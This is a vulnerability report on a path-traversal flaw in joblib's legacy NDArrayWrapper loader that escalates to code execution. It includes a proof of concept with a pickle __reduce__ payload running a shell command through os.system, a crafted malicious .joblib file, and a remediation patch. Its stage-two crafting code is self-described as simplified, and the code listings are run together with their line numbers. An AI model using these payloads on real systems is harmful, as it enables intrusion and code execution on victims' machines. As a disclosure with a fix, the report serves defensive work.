Vulnerability Report: Joblib NDArrayWrapper Path Traversal to Remote Code Execution
Target Info
Field
Details
Project
joblib
Affected File
joblib/numpy_pickle_compat.py
Affected Class / Method
NDArrayWrapper.read()
Affected Versions
All versions with legacy multi-file .joblib format support
CWE
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CVSS v3.1 Score
8.6 (High)
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Executive Summary
The NDArrayWrapper.read() method in joblib/numpy_pickle_compat.py constructs a filesystem path by joining a trusted base directory with a filename read from inside the .joblib archive. The path join is performed via os.path.join(), which in Python silently discards all preceding components when it encounters an absolute path component. An attacker who supplies a .joblib file with self.filename set to an absolute path (e.g., /etc/passwd, /tmp/malicious.npy) can direct the loader to read any file on the filesystem.
When allow_pickle=True (the default in older NumPy versions), this path traversal escalates to Remote Code Execution: the attacker-controlled .npy file can contain a pickled payload that executes arbitrary code at load time.
Root Cause Analysis
Vulnerable Code
File:joblib/numpy_pickle_compat.py
python
1classNDArrayWrapper(object):2"""An object to be used in replacement of a pickle array.
34 NDArrayWrapper is used to read back arrays stored in separate .npy files
5 inside a joblib pickle.
6 """78def__init__(self, filename, subclass, allow_pickle=False):9 self.filename = filename # ← comes directly from pickle stream10 self.subclass = subclass
11 self.allow_pickle = allow_pickle
1213defread(self, unpickler):14 filepath = os.path.join(unpickler._dirname, self.filename)15# If self.filename = '/etc/passwd' → filepath = '/etc/passwd'16# If self.filename = '/tmp/evil.npy' → filepath = '/tmp/evil.npy'17# os.path.join() silently ignores unpickler._dirname when self.filename is absolute!1819 array = unpickler.np.load(20 filepath,21 allow_pickle=self.allow_pickle # ← RCE if True and file contains pickle data22)23return array
Root Cause
The vulnerability has two components:
1. Path Traversal (CWE-22): Python's os.path.join(base, component) returns component unchanged if it is an absolute path. There is no call to os.path.realpath(), os.path.normpath(), or any prefix check to verify the resolved path remains under unpickler._dirname.
2. Pickle RCE Escalation:self.allow_pickle is also deserialized from the attacker-controlled archive. Combined with the path traversal, the attacker can:
Place a malicious .npy file (containing a pickled payload) at a predictable location (e.g., via a prior upload, /tmp/, a world-writable directory)
Set self.filename = '/tmp/evil.npy' and self.allow_pickle = True
Force joblib to load that file, triggering arbitrary code execution
Python os.path.join() Behavior (Demonstration)
python
1import os
2os.path.join('/trusted/base','/etc/passwd')3# Returns: '/etc/passwd' ← base is silently dropped!45os.path.join('/trusted/base','../../../etc/passwd')6# Returns: '/trusted/base/../../../etc/passwd' ← traversal via relative path
Both absolute paths and relative .. sequences escape the intended directory.
Inconsistency Evidence
The safer pattern used in other parts of joblib and in standard library code validates that the resolved path starts with the expected base:
python
1# Secure pattern (NOT used in NDArrayWrapper):2defsafe_join(base_dir, filename):3 base_dir = os.path.realpath(base_dir)4 filepath = os.path.realpath(os.path.join(base_dir, filename))5ifnot filepath.startswith(base_dir + os.sep):6raise ValueError(7f"Path traversal detected: {filename!r} escapes base directory"8)9return filepath
Modern zipfile and tarfile implementations in the Python standard library enforce similar containment checks. The NDArrayWrapper code predates these conventions and was never updated.
Proof of Concept
Prerequisites
pip install joblib numpy
Step 1: Create a malicious .npy payload (RCE)
python
1#!/usr/bin/env python32"""
3Stage 1: Create a malicious .npy file containing a pickle payload.
4This file will be placed at a predictable location (simulating /tmp/).
5"""6import numpy as np
7import pickle
8import os
910classMaliciousPayload:11def__reduce__(self):12return(os.system,('id > /tmp/pwned.txt',))1314# Craft a .npy file that embeds pickle data15# (numpy's allow_pickle=True triggers pickle deserialization)16malicious_array = np.array(MaliciousPayload())1718np.save('/tmp/evil.npy', malicious_array, allow_pickle=True)19print("Malicious .npy written to /tmp/evil.npy")
Step 2: Craft the malicious .joblib archive
python
1#!/usr/bin/env python32"""
3Stage 2: Craft a .joblib archive that references /tmp/evil.npy
4via the NDArrayWrapper.filename field.
5"""6import joblib
7import pickle
8import io
910# Manually craft a pickle stream that instantiates NDArrayWrapper11# with filename='/tmp/evil.npy' and allow_pickle=True12classFakeNDArrayWrapper:13"""Mimics joblib.numpy_pickle_compat.NDArrayWrapper for crafting purposes."""14def__init__(self):15 self.filename ='/tmp/evil.npy'# ← absolute path traversal16 self.subclass =None17 self.allow_pickle =True# ← enable pickle RCE1819# Serialize using standard pickle20payload = pickle.dumps(FakeNDArrayWrapper())2122withopen('malicious.joblib','wb')as f:23# Write joblib file magic + crafted object24# (exact format depends on joblib version; simplified here for clarity)25 f.write(payload)2627print("Malicious .joblib written to malicious.joblib")
Step 3: Trigger the path traversal + RCE
python
1import joblib
23# Victim loads the attacker-supplied file4result = joblib.load('malicious.joblib')56# Check for RCE evidence7import os
8if os.path.exists('/tmp/pwned.txt'):9withopen('/tmp/pwned.txt')as f:10print(f"[RCE CONFIRMED] Command output: {f.read()}")
Step 4: Path traversal (read-only, without RCE)
python
1#!/usr/bin/env python32"""
3Path traversal PoC without RCE — reads arbitrary files.
4self.filename = '/etc/passwd', allow_pickle=False
5"""6import os
7import struct
89# Demonstrate os.path.join behavior10base ='/some/trusted/directory'11attacker_filename ='/etc/passwd'1213result = os.path.join(base, attacker_filename)14print(f"os.path.join result: {result}")15# Output: /etc/passwd — base is completely ignored16assert result =='/etc/passwd'17print("Path traversal confirmed: attacker controls file path")
RCE can crash, corrupt, or delete critical resources
Remediation
Fix: Validate resolved path is within the base directory
python
1# joblib/numpy_pickle_compat.py23import os
45def_safe_join(base_dir, filename):6"""Join paths and verify the result stays within base_dir."""7 base_dir = os.path.realpath(base_dir)8# Reject absolute paths immediately9if os.path.isabs(filename):10raise ValueError(11f"NDArrayWrapper filename must be a relative path, got: {filename!r}"12)13# Resolve and verify containment14 filepath = os.path.realpath(os.path.join(base_dir, filename))15ifnot filepath.startswith(base_dir + os.sep)and filepath != base_dir:16raise ValueError(17f"Path traversal detected: {filename!r} resolves outside of "18f"base directory {base_dir!r}"19)20return filepath
212223classNDArrayWrapper(object):24defread(self, unpickler):25# FIX: Use safe_join instead of bare os.path.join26 filepath = _safe_join(unpickler._dirname, self.filename)2728# FIX: Do not trust allow_pickle from the archive;29# use a caller-controlled parameter instead30 allow_pickle =getattr(unpickler,'_allow_pickle',False)3132 array = unpickler.np.load(filepath, allow_pickle=allow_pickle)33return array
Additional Recommendations
Never inherit allow_pickle from archive data. The allow_pickle flag should be a parameter passed by the caller (joblib.load(..., allow_pickle=False)) and never deserializable from within the untrusted file itself.
Consider removing legacy ZF/multi-file format support if the modern format is available. Legacy format code paths represent a disproportionate attack surface.
Add a security notice to joblib.load() documentation: "Do not load .joblib files from untrusted sources."